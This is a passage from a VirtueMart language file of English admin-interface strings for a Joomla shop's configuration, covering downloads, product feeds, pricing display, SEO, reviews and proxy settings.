      " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
      In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
      You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
      Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
      " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
      " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
      " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintance, the anonymous order and the login" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" 